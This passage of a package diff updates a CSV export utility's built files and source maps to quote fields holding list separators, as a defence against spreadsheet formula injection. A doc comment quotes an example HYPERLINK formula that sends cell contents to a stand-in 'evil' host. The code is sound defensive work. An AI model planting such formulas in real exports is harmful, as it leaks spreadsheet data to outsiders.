as string];\n            return escapeField(cellText(raw, neutralizeFormulas), delimiter);\n        });\n        lines.push(cells.join(delimiter));\n    }\n\n    return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n *   {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    fileName = \"export.csv\",\n    options: CsvOptions = {},\n): Promise<void> {\n    const blob = new Blob([toCsv(rows, columns, options)], {\n        type: \"text/csv;charset=utf-8\",\n    });\n    await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"kDAqBA,IAAM,EAAM,IAqDN,EAAkB,eAQlB,EAAe,uDAoBrB,SAAS,EAAkB,EAAuB,CAE9C,OADI,IAAU,KAAO,EAAa,KAAK,CAAK,EAAU,EAC/C,EAAgB,KAAK,CAAK,EAAI,IAAI,IAAU,CACvD,CAaA,SAAS,EAAY,EAAe,EAA2B,CAO3D,OALI,EAAM,SAAS,CAAS,GACxB,EAAM,SAAS,GAAG,GAClB,EAAM,SAAS;CAAI,GACnB,EAAM,SAAS,IAAI,EAEhB,IAAI,EAAM,WAAW,IAAK,IAAI,EAAE,GADhB,CAE3B,CAiBA,SAAS,EAAS,EAAgB,EAA6B,CAM3D,OALI,GAAU,KAAoC,GAC9C,OAAO,GAAU,UAAY,OAAO,GAAU,UAAY,OAAO,GAAU,UACpE,OAAO,CAAK,EAEnB,aAAiB,KAAa,EAAM,YAAY,EAC7C,EAAa,EAAkB,OAAO,CAAK,CAAC,EAAI,OAAO,CAAK,CACvE,CAwBA,SAAgB,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,GAAM,qBAAqB,IAAS,EAE7D,EAAQ,CACV,EACK,IAAK,GAAW,EAAY,EAAS,EAAO,OAAQ,CAAkB,EAAG,CAAS,CAAC,CAAC,CACpF,KAAK,CAAS,CACvB,EAEA,IAAK,IAAM,KAAO,EAAM,CACpB,IAAM,EAAQ,EAAQ,IAAK,GAIhB,EAAY,EAHP,EAAO,IACb,EAAO,IAAI,CAAG,EACb,EAAgC,EAAO,KACb,CAAkB,EAAG,CAAS,CAClE,EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC,CACpC,CAEA,MAAO,GAAG,EAAM,EAAM,KAAK,EAAM,KAAK;CAAM,GAChD,CAoBA,eAAsB,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAM,EAAO,IAAI,KAAK,CAAC,EAAM,EAAM,EAAS,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAM,EAAA,oBAAoB,EAAM,CAAQ,CAC5C"}
+{"version":3,"file":"csv.cjs","names":["shareOrDownloadBlob","require_share_or_download","BOM","FORMULA_TRIGGER","PLAIN_NUMBER","neutralizeFormula","value","LIST_SEPARATORS","escapeField","delimiter","guardSeparators","cellText","neutralize","toCsv","options","lines","columns","column","neutralizeFormulas","row","rows","cells","bom","downloadCsv","blob","fileName"],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n    /** Property of the row this column reads from. Doubles as the column key. */\n    key: keyof T;\n    /** Column heading, written to the first line. */\n    header: string;\n    /**\n     * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n     * empty field.\n     *\n     * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n     * a text file — a badge or a link would serialize as `[object Object]`. Give\n     * the column this accessor and the export says what the badge said.\n     */\n    csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n    /**\n     * Field separator. Default `\",\"`.\n     *\n     * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n     * which is every pt-BR install — otherwise it opens the file in one column.\n     */\n    delimiter?: \",\" | \";\";\n    /** Prefix the output with a UTF-8 BOM. Default `true`. */\n    bom?: boolean;\n    /**\n     * Prefix `'` to every text field that a spreadsheet would read as a formula.\n     * Default `true`.\n     *\n     * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n     * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n     * `=`), and opening the file evaluates it: a name typed\n     * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n     * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n     * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n     * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n     * and because the app that exports rarely controls every value in it.\n     *\n     * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n     * (#481): a spreadsheet whose list separator is not the file's would otherwise\n     * split the bare field there and could start a cell with `=`. A quoted field is\n     * not split, so the quotes close that path without touching the text —\n     * `x;=1+2` is written `\"x;=1+2\"`.\n     *\n     * Numbers are never prefixed: a `number` cell, or a text field that is only a\n     * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n     * neither can a lone `\"-\"`, which is left alone too. Pass\n     * `false` when the file feeds another system's importer rather than a person's\n     * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n     * and line breaks decide the quoting.\n     */\n    neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n    if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n    return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n *   on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n    const mustQuote =\n        value.includes(delimiter) ||\n        (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n        value.includes('\"') ||\n        value.includes(\"\\n\") ||\n        value.includes(\"\\r\");\n    if (!mustQuote) return value;\n    return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n    if (value === null || value === undefined) return \"\";\n    if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n        return String(value);\n    }\n    if (value instanceof Date) return value.toISOString();\n    return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n *     { key: \"name\", header: \"Nome\" },\n *     { key: \"email\", header: \"E-mail\" },\n *     { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    options: CsvOptions = {},\n): string {\n    const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n    const lines = [\n        columns\n            .map((column) =>\n                escapeField(\n                    cellText(column.header, neutralizeFormulas),\n                    delimiter,\n                    neutralizeFormulas,\n                ),\n            )\n            .join(delimiter),\n    ];\n\n    for (const row of rows) {\n        const cells = columns.map((column) => {\n            const raw = column.csv\n                ? column.csv(row)\n                : (row as Record<string, unknown>)[column.key as string];\n            return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n        });\n        lines.push(cells.join(delimiter));\n    }\n\n    return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n *   {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    fileName = \"export.csv\",\n    options: CsvOptions = {},\n): Promise<void> {\n    const blob = new Blob([toCsv(rows, columns, options)], {\n        type: \"text/csv;charset=utf-8\",\n    });\n    await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"A,kDAqBA,IAAME,EAAM,IA4DNC,EAAkB,eAQlBC,EAAe,uDAyBrB,SAASC,EAAkB,EAAuB,CAE9C,OADIC,IAAU,KAAOF,EAAa,KAAKE,CAAK,EAAUA,EAC/CH,EAAgB,KAAKG,CAAK,EAAI,IAAIA,IAAUA,CACvD,CASA,IAAMC,EAAkB,SAoBxB,SAASC,EAAY,EAAe,EAAmB,EAAkC,CAQrF,OANIF,EAAM,SAASG,CAAS,GACvBC,GAAmBH,EAAgB,KAAKD,CAAK,GAAK,CAACF,EAAa,KAAKE,CAAK,GAC3EA,EAAM,SAAS,GAAG,GAClBA,EAAM,SAAS;CAAI,GACnBA,EAAM,SAAS,IAAI,EAEhB,IAAIA,EAAM,WAAW,IAAK,IAAI,EAAE,GADhBA,CAE3B,CAiBA,SAASK,EAAS,EAAgB,EAA6B,CAM3D,OALIL,GAAU,KAAoC,GAC9C,OAAOA,GAAU,UAAY,OAAOA,GAAU,UAAY,OAAOA,GAAU,UACpE,OAAOA,CAAK,EAEnBA,aAAiB,KAAaA,EAAM,YAAY,EAC7CM,EAAaP,EAAkB,OAAOC,CAAK,CAAC,EAAI,OAAOA,CAAK,CACvE,CAwBA,SAAgBO,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,GAAM,qBAAqB,IAASC,EAE7DC,EAAQ,CACVC,EACK,IAAK,GACFR,EACIG,EAASM,EAAO,OAAQC,CAAkB,EAC1CT,EACAS,CACJ,CACJ,CAAC,CACA,KAAKT,CAAS,CACvB,EAEA,IAAK,IAAMU,KAAOC,EAAM,CACpB,IAAMC,EAAQL,EAAQ,IAAK,GAIhBR,EAAYG,EAHPM,EAAO,IACbA,EAAO,IAAIE,CAAG,EACbA,EAAgCF,EAAO,KACbC,CAAkB,EAAGT,EAAWS,CAAkB,CACtF,EACDH,EAAM,KAAKM,EAAM,KAAKZ,CAAS,CAAC,CACpC,CAEA,MAAO,GAAGa,EAAMpB,EAAM,KAAKa,EAAM,KAAK;CAAM,GAChD,CAoBA,eAAsBQ,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAMC,EAAO,IAAI,KAAK,CAACX,EAAMO,EAAMJ,EAASF,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAMd,EAAAA,oBAAoBwB,EAAMC,CAAQ,CAC5C,C"}

package/dist/utils/csv.js

@@ -4,25 +4,26 @@ var t = "", n = /^[=+\-@\t\r]/, r = /^[+-]?(?:\d+(?:[.,]\d+)*|\d*[.,]\d+)(?:e
 function i(e) {
 	return e === "-" || r.test(e) ? e : n.test(e) ? `'${e}` : e;
 }
-function a(e, t) {
-	return e.includes(t) || e.includes("\"") || e.includes("\n") || e.includes("\r") ? `"${e.replaceAll("\"", "\"\"")}"` : e;
+var a = /[,;\t]/;
+function o(e, t, n) {
+	return e.includes(t) || n && a.test(e) && !r.test(e) || e.includes("\"") || e.includes("\n") || e.includes("\r") ? `"${e.replaceAll("\"", "\"\"")}"` : e;
 }
-function o(e, t) {
+function s(e, t) {
 	return e == null ? "" : typeof e == "number" || typeof e == "bigint" || typeof e == "boolean" ? String(e) : e instanceof Date ? e.toISOString() : t ? i(String(e)) : String(e);
 }
-function s(e, n, r = {}) {
-	let { delimiter: i = ",", bom: s = !0, neutralizeFormulas: c = !0 } = r, l = [n.map((e) => a(o(e.header, c), i)).join(i)];
+function c(e, n, r = {}) {
+	let { delimiter: i = ",", bom: a = !0, neutralizeFormulas: c = !0 } = r, l = [n.map((e) => o(s(e.header, c), i, c)).join(i)];
 	for (let t of e) {
-		let e = n.map((e) => a(o(e.csv ? e.csv(t) : t[e.key], c), i));
+		let e = n.map((e) => o(s(e.csv ? e.csv(t) : t[e.key], c), i, c));
 		l.push(e.join(i));
 	}
-	return `${s ? t : ""}${l.join("\r\n")}`;
+	return `${a ? t : ""}${l.join("\r\n")}`;
 }
-async function c(t, n, r = "export.csv", i = {}) {
-	let a = new Blob([s(t, n, i)], { type: "text/csv;charset=utf-8" });
+async function l(t, n, r = "export.csv", i = {}) {
+	let a = new Blob([c(t, n, i)], { type: "text/csv;charset=utf-8" });
 	await e(a, r);
 }
 //#endregion
-export { c as downloadCsv, s as toCsv };
+export { l as downloadCsv, c as toCsv };
 
 //# sourceMappingURL=csv.js.map

package/dist/utils/csv.js.map

@@ -1 +1 @@
-{"version":3,"file":"csv.js","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n    /** Property of the row this column reads from. Doubles as the column key. */\n    key: keyof T;\n    /** Column heading, written to the first line. */\n    header: string;\n    /**\n     * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n     * empty field.\n     *\n     * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n     * a text file — a badge or a link would serialize as `[object Object]`. Give\n     * the column this accessor and the export says what the badge said.\n     */\n    csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n    /**\n     * Field separator. Default `\",\"`.\n     *\n     * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n     * which is every pt-BR install — otherwise it opens the file in one column.\n     */\n    delimiter?: \",\" | \";\";\n    /** Prefix the output with a UTF-8 BOM. Default `true`. */\n    bom?: boolean;\n    /**\n     * Prefix `'` to every text field that a spreadsheet would read as a formula.\n     * Default `true`.\n     *\n     * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n     * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n     * `=`), and opening the file evaluates it: a name typed\n     * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n     * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n     * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n     * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n     * and because the app that exports rarely controls every value in it.\n     *\n     * Numbers are never prefixed: a `number` cell, or a text field that is only a\n     * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n     * neither can a lone `\"-\"`, which is left alone too. Pass\n     * `false` when the file feeds another system's importer rather than a person's\n     * spreadsheet, so the bytes round-trip unchanged.\n     */\n    neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n    if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n    return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n    const mustQuote =\n        value.includes(delimiter) ||\n        value.includes('\"') ||\n        value.includes(\"\\n\") ||\n        value.includes(\"\\r\");\n    if (!mustQuote) return value;\n    return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n    if (value === null || value === undefined) return \"\";\n    if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n        return String(value);\n    }\n    if (value instanceof Date) return value.toISOString();\n    return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n *     { key: \"name\", header: \"Nome\" },\n *     { key: \"email\", header: \"E-mail\" },\n *     { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    options: CsvOptions = {},\n): string {\n    const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n    const lines = [\n        columns\n            .map((column) => escapeField(cellText(column.header, neutralizeFormulas), delimiter))\n            .join(delimiter),\n    ];\n\n    for (const row of rows) {\n        const cells = columns.map((column) => {\n            const raw = column.csv\n                ? column.csv(row)\n                : (row as Record<string, unknown>)[column.key as string];\n            return escapeField(cellText(raw, neutralizeFormulas), delimiter);\n        });\n        lines.push(cells.join(delimiter));\n    }\n\n    return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n *   {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    fileName = \"export.csv\",\n    options: CsvOptions = {},\n): Promise<void> {\n    const blob = new Blob([toCsv(rows, columns, options)], {\n        type: \"text/csv;charset=utf-8\",\n    });\n    await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAM,IAAM,KAqDN,IAAkB,gBAQlB,IAAe;AAoBrB,SAAS,EAAkB,GAAuB;CAE9C,OADI,MAAU,OAAO,EAAa,KAAK,CAAK,IAAU,IAC/C,EAAgB,KAAK,CAAK,IAAI,IAAI,MAAU;AACvD;AAaA,SAAS,EAAY,GAAe,GAA2B;CAO3D,OALI,EAAM,SAAS,CAAS,KACxB,EAAM,SAAS,IAAG,KAClB,EAAM,SAAS,IAAI,KACnB,EAAM,SAAS,IAAI,IAEhB,IAAI,EAAM,WAAW,MAAK,MAAI,EAAE,KADhB;AAE3B;AAiBA,SAAS,EAAS,GAAgB,GAA6B;CAM3D,OALI,KAAU,OAAoC,KAC9C,OAAO,KAAU,YAAY,OAAO,KAAU,YAAY,OAAO,KAAU,YACpE,OAAO,CAAK,IAEnB,aAAiB,OAAa,EAAM,YAAY,IAC7C,IAAa,EAAkB,OAAO,CAAK,CAAC,IAAI,OAAO,CAAK;AACvE;AAwBA,SAAgB,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,IAAM,wBAAqB,OAAS,GAE7D,IAAQ,CACV,EACK,KAAK,MAAW,EAAY,EAAS,EAAO,QAAQ,CAAkB,GAAG,CAAS,CAAC,CAAC,CACpF,KAAK,CAAS,CACvB;CAEA,KAAK,IAAM,KAAO,GAAM;EACpB,IAAM,IAAQ,EAAQ,KAAK,MAIhB,EAAY,EAHP,EAAO,MACb,EAAO,IAAI,CAAG,IACb,EAAgC,EAAO,MACb,CAAkB,GAAG,CAAS,CAClE;EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC;CACpC;CAEA,OAAO,GAAG,IAAM,IAAM,KAAK,EAAM,KAAK,MAAM;AAChD;AAoBA,eAAsB,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAM,IAAO,IAAI,KAAK,CAAC,EAAM,GAAM,GAAS,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAM,EAAoB,GAAM,CAAQ;AAC5C"}
+{"version":3,"file":"csv.js","names":["BOM","FORMULA_TRIGGER","PLAIN_NUMBER","neutralizeFormula","value","LIST_SEPARATORS","escapeField","delimiter","guardSeparators","cellText","neutralize","toCsv","options","lines","columns","column","neutralizeFormulas","row","rows","cells","bom","downloadCsv","blob","shareOrDownloadBlob","fileName"],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n    /** Property of the row this column reads from. Doubles as the column key. */\n    key: keyof T;\n    /** Column heading, written to the first line. */\n    header: string;\n    /**\n     * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n     * empty field.\n     *\n     * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n     * a text file — a badge or a link would serialize as `[object Object]`. Give\n     * the column this accessor and the export says what the badge said.\n     */\n    csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n    /**\n     * Field separator. Default `\",\"`.\n     *\n     * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n     * which is every pt-BR install — otherwise it opens the file in one column.\n     */\n    delimiter?: \",\" | \";\";\n    /** Prefix the output with a UTF-8 BOM. Default `true`. */\n    bom?: boolean;\n    /**\n     * Prefix `'` to every text field that a spreadsheet would read as a 